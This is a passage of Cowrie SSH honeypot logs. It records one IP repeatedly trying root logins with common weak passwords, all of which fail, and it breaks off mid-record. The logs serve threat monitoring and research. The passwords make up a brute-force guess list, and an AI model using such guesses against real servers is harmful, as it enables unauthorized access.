{"eventid":"cowrie.login.failed","username":"root","password":"1qazcde3!@#","message":"login attempt [root/1qazcde3!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:12.543067Z","src_ip":"60.165.124.241","session":"283e1a30019e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:13.800909Z","src_ip":"60.165.124.241","session":"283e1a30019e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39668,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f8cc076b4a","protocol":"ssh","message":"New connection: 60.165.124.241:39668 (10.17.0.5:22) [session: b3f8cc076b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:14.022703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:14.028345Z","src_ip":"60.165.124.241","session":"b3f8cc076b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:14.273031Z","src_ip":"60.165.124.241","session":"b3f8cc076b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4R","message":"login attempt [root/1Q2w3e4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:14.998286Z","src_ip":"60.165.124.241","session":"b3f8cc076b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:16.243242Z","src_ip":"60.165.124.241","session":"b3f8cc076b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42728,"dst_ip":"10.17.0.5","dst_port":22,"session":"b34e7b1fc0db","protocol":"ssh","message":"New connection: 60.165.124.241:42728 (10.17.0.5:22) [session: b34e7b1fc0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:16.474017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:16.478612Z","src_ip":"60.165.124.241","session":"b34e7b1fc0db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:16.718590Z","src_ip":"60.165.124.241","session":"b34e7b1fc0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Qazxsw2!","message":"login attempt [root/1Qazxsw2!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:17.445082Z","src_ip":"60.165.124.241","session":"b34e7b1fc0db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:18.695518Z","src_ip":"60.165.124.241","session":"b34e7b1fc0db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45630,"dst_ip":"10.17.0.5","dst_port":22,"session":"95a087f04347","protocol":"ssh","message":"New connection: 60.165.124.241:45630 (10.17.0.5:22) [session: 95a087f04347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:18.951091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:18.956518Z","src_ip":"60.165.124.241","session":"95a087f04347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:19.208274Z","src_ip":"60.165.124.241","session":"95a087f04347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd","message":"login attempt [root/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:19.973316Z","src_ip":"60.165.124.241","session":"95a087f04347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:21.232048Z","src_ip":"60.165.124.241","session":"95a087f04347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48360,"dst_ip":"10.17.0.5","dst_port":22,"session":"cce17ee64760","protocol":"ssh","message":"New connection: 60.165.124.241:48360 (10.17.0.5:22) [session: cce17ee64760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:21.463475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:21.468602Z","src_ip":"60.165.124.241","session":"cce17ee64760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:21.717557Z","src_ip":"60.165.124.241","session":"cce17ee64760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Azertyuiop1","message":"login attempt [root/Azertyuiop1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:22.441837Z","src_ip":"60.165.124.241","session":"cce17ee64760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:23.680303Z","src_ip":"60.165.124.241","session":"cce17ee64760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51376,"dst_ip":"10.17.0.5","dst_port":22,"session":"e88195bd7087","protocol":"ssh","message":"New connection: 60.165.124.241:51376 (10.17.0.5:22) [session: e88195bd7087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:23.920781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:23.925727Z","src_ip":"60.165.124.241","session":"e88195bd7087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:24.177723Z","src_ip":"60.165.124.241","session":"e88195bd7087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456-","message":"login attempt [root/Aa123456-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:24.902900Z","src_ip":"60.165.124.241","session":"e88195bd7087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:26.158221Z","src_ip":"60.165.124.241","session":"e88195bd7087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54554,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cc3f1cd8d33","protocol":"ssh","message":"New connection: 60.165.124.241:54554 (10.17.0.5:22) [session: 7cc3f1cd8d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:26.387063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:26.391918Z","src_ip":"60.165.124.241","session":"7cc3f1cd8d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:26.629852Z","src_ip":"60.165.124.241","session":"7cc3f1cd8d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#qweasdzxc","message":"login attempt [root/!@#qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:27.361453Z","src_ip":"60.165.124.241","session":"7cc3f1cd8d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:28.600355Z","src_ip":"60.165.124.241","session":"7cc3f1cd8d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57554,"dst_ip":"10.17.0.5","dst_port":22,"session":"0451a9393fc8","protocol":"ssh","message":"New connection: 60.165.124.241:57554 (10.17.0.5:22) [session: 0451a9393fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:28.880239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:28.885628Z","src_ip":"60.165.124.241","session":"0451a9393fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:29.155741Z","src_ip":"60.165.124.241","session":"0451a9393fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"corona","message":"login attempt [root/corona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:29.945484Z","src_ip":"60.165.124.241","session":"0451a9393fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:31.220295Z","src_ip":"60.165.124.241","session":"0451a9393fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60692,"dst_ip":"10.17.0.5","dst_port":22,"session":"75c692902bae","protocol":"ssh","message":"New connection: 60.165.124.241:60692 (10.17.0.5:22) [session: 75c692902bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:31.455759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:31.460457Z","src_ip":"60.165.124.241","session":"75c692902bae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:31.718134Z","src_ip":"60.165.124.241","session":"75c692902bae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpass","message":"login attempt [root/adminpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:33.215903Z","src_ip":"60.165.124.241","session":"75c692902bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:34.465994Z","src_ip":"60.165.124.241","session":"75c692902bae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36032,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f84464f0f62","protocol":"ssh","message":"New connection: 60.165.124.241:36032 (10.17.0.5:22) [session: 3f84464f0f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:34.688137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:34.693714Z","src_ip":"60.165.124.241","session":"3f84464f0f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ss